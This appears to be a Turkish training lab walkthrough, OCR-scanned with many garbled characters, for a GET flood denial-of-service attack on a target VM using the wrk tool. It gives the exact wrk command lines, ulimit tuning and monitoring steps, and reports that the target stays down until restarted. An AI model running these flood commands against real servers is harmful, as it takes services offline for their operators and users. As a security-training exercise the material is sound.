WRK Tool’u ile Sanal Bir Web Sunucuya GET Flood Saldirisi

(+) Birebir belirtilen host’lar {izerinde saldir1 vim’leri denenmistir ve sorunsuz bagariyla
uygulanmistir.

* Ubuntu 22.04 LTS Host // Is Laptop’1
* Windows 10 Host /I is Laptop’1

B Gereksinim

e Kali 2023.1 (Windows Host Uzerinden Web Giivenligi Egitimi) VM // Saldirgan
¢ Get Flood DoS - Ubuntu 18.04 LTS VM // Hedef

Not:

Get Flood DoS - Ubuntu 18.04 LTS VM kurulumu igin bkz. Yaz Tatili - 2014/Zafiyetli VM
Makina Hazirlama Dokiimanlar: / GET Flood DoS - Ubuntu 18.04 LTS VM Hazirlama

B Hazirhk

e Kali 2023.1 (Windows Host Uzerinden Web Giivenligi Egitimi) VM sistem ayarlar1 sdyle
yapilir:

32 GB RAM
4 CPU

¢ Get Flood DoS - Ubuntu 18.04 LTS VM sistem ayarlar1 sdyle yapilir:

512 MB RAM
1CPU

e Kali 2023.1 (Windows Host Uzerinden Web Giivenligi Egitimi) VM terminal ekranindan
saldir icin gerekli araclar indirilir ve kurulur.

Kali 2023.1 Terminal:
> setxkbmap tr
> apt-get update

> apt-get install wrk

Kurulum sirasinda paketi yiikle secenegine:
[YES]

Kurulum sirasinda servislerin restart’lanacag bilgisine:
[YES]

> apt-get install vnstat

e Kali 2023.1 (Windows Host Uzerinden Web Giivenligi Egitimi) VM’den hedef web adrese
erisilir ve sayfanin anlik cevap verebildigi gézlemlenir.



B Saldin
Kali 2023.1 (Windows Host Uzerinden Web Giivenligi Egitimi) VM Terminal:

> ulimit -n // check current ulimit value
> ulimit -n 1024000 // set new ulimit value

> wrk -t12 -c400 -d1h --timeout 1h --latency http:/HEDEF_VM_ADDRESS/test.ova &
> wrk -t12 -c400 -d1h --timeout 1h --latency http:/HEDEF_VM_ADDRESS/test.ova &
> wrk -t12 -c400 -d1h --timeout 1h --latency http:/HEDEF_VM_ADDRESS/test.ova &

-t : is parcacig sayist (thread)

-C : baglanti sayis1 (connection)

-d : saldirinin ne kadar siire siirecegi bilgisi (duration)

--timeout : isteklere gelecek yanitlar1 bekleme siiresi bilgisi

--latency : Komut sonlandirildiginda gecikme istatistik bilgilerini ekrana verme
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Terminal 2:
> vnstat --style 4 -1 -i ethO // Makinalar Host-Only’de iken
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B Erisim Kontrol
*  Web Tarayici:
> http:/HEDEF_VM_IP_ADDRESS

Gikti:
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Q. Search Google or type a URL

( Stirekli Yiikleniyor Ekrani )

B Saldir1 Sonlandirma
Kali 2023.1 (Windows Host Uzerinden Web Giivenligi Egitimi) VM Terminal:
> ps aux | grep "wrk"
> pkill wrk
B Gozlemler
Saldir baslatildiktan sonra 30 saniye igerisinde erisimler gidiyor.

¢ Saldin epey bir miiddet siirdiiriildiigiinde ve sonlandirildiginda hedef vim’e erisimler halen
gelmiyor ve hedef vim’in restart’lanmasi gerekiyor.



